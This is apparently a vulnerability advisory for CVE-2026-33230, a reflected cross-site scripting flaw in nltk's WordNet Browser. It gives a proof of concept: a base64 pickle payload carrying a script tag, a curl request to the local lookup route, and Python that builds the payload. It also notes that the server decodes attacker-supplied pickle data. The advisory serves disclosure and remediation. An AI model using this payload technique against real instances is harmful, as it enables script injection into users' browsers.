---
id: CVE-2026-33230
aliases:
  - GHSA-gfwx-w7gr-fvh7
  - PYSEC-2026-2235
title: >-
  Improper Neutralization of Input During Web Page Generation ('Cross-site
  Scripting') in nltk
summary: >-
  Improper Neutralization of Input During Web Page Generation ('Cross-site
  Scripting') in nltk
severity: medium
cvss: 6.1
cvssVector: 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N'
vendor: nltk
product: nltk
ecosystem: pip
affected:
  - nltk < 3.9.4
patched:
  - nltk 3.9.4
published: '2026-03-18'
updated: '2026-09-10'
sourceUpdated: '2026-09-10T03:50:39.207692385Z'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-gfwx-w7gr-fvh7'
references:
  - url: 'https://github.com/nltk/nltk/security/advisories/GHSA-gfwx-w7gr-fvh7'
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-33230'
  - url: >-
      https://github.com/nltk/nltk/commit/1c3f799607eeb088cab2491dcf806ae83c29ad8f
  - url: >-
      https://github.com/nltk/nltk/commit/40d0bc1d484a3458d6a63ecb5ba4957ab16ba14e
  - url: 'https://github.com/nltk/nltk'
tags:
  - osv
  - pip
epss: 0.00392
epssPercentile: 0.30653
ingestedAt: '2026-07-13T18:57:58.385Z'
---

## Overview

### Summary
`nltk.app.wordnet_app` contains a reflected cross-site scripting issue in the `lookup_...` route. A crafted `lookup_<payload>` URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled `word` data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application.

### Details
The vulnerable flow is in `nltk/app/wordnet_app.py`:

- [`nltk/app/wordnet_app.py:144`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L144)
  - Requests starting with `lookup_` are handled as HTML responses:
  - `page, word = page_from_href(sp)`

- [`nltk/app/wordnet_app.py:755`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L755)
  - `page_from_href()` calls `page_from_reference(Reference.decode(href))`

- [`nltk/app/wordnet_app.py:769`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L769)
  - `word = href.word`

- [`nltk/app/wordnet_app.py:796`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L796)
  - If no results are found, `word` is inserted directly into the HTML body:
  - `body = "The word or words '%s' were not found in the dictionary." % word`

This is inconsistent with the `search` route, which does escape user input:

- [`nltk/app/wordnet_app.py:136`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L136)
  - `word = html.escape(...)`

As a result, a malicious `lookup_...` payload can inject script into the response page.

The issue is exploitable because:

- `Reference.decode()` accepts attacker-controlled base64-encoded pickle data for the URL state.
- The decoded `word` is reflected into HTML without `html.escape()`.
- The server is started with `HTTPServer(("", port), MyServerHandler)`, so it listens on all interfaces by default, not just `localhost`.

### PoC
1. Start the WordNet Browser in an isolated Docker environment:

```bash
docker run -d --name nltk-wordnet-web -p 8002:8002 \
  nltk-sandbox \
  python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8002, False)"
```

2. Use the following crafted payload, which decodes to:

```python
("<script>alert(1)</script>", {})
```

Encoded payload:

```text
gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=
```

3. Request the vulnerable route:

```bash
curl -s "http://127.0.0.1:8002/lookup_gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4="
```

4. Observed result:

```text
The word or words '<script>alert(1)</script>' were not found in the dictionary.
```
<img width="867" height="208" alt="127" src="https://github.com/user-attachments/assets/ec09da08-09bc-4fc4-bfc1-c4489e9adaf6" />


I also validated the issue directly at function level in Docker:

```python
import base64
import pickle

from nltk.app.wordnet_app import page_from_href

payload = base64.urlsafe_b64encode(
    pickle.dumps(("<script>alert(1)</script>", {}), -1)
).decode()

page, word = page_from_href(payload)
print(word)
print("<script>alert(1)</script>" in page)
```

Observed output:

```text
WORD= <script>alert(1)</script>
HAS_SCRIPT= True
```

### Impact
This is a reflected XSS issue in the NLTK WordNet Browser web UI.

An attacker who can convince a user to open a crafted `lookup_...` URL can execute arbitrary JavaScript in the origin of the local WordNet Browser application. This can be used to:

- run arbitrary script in the browser tab
- manipulate the page content shown to the user
- issue same-origin requests to other WordNet Browser routes
- potentially trigger available UI actions in that local app context

This primarily impacts users who run `nltk.app.wordnet_app` as a local or self-hosted HTTP service and open attacker-controlled links.

## Affected packages

- `nltk < 3.9.4`

## Remediation

Upgrade to a patched release:

- `nltk 3.9.4`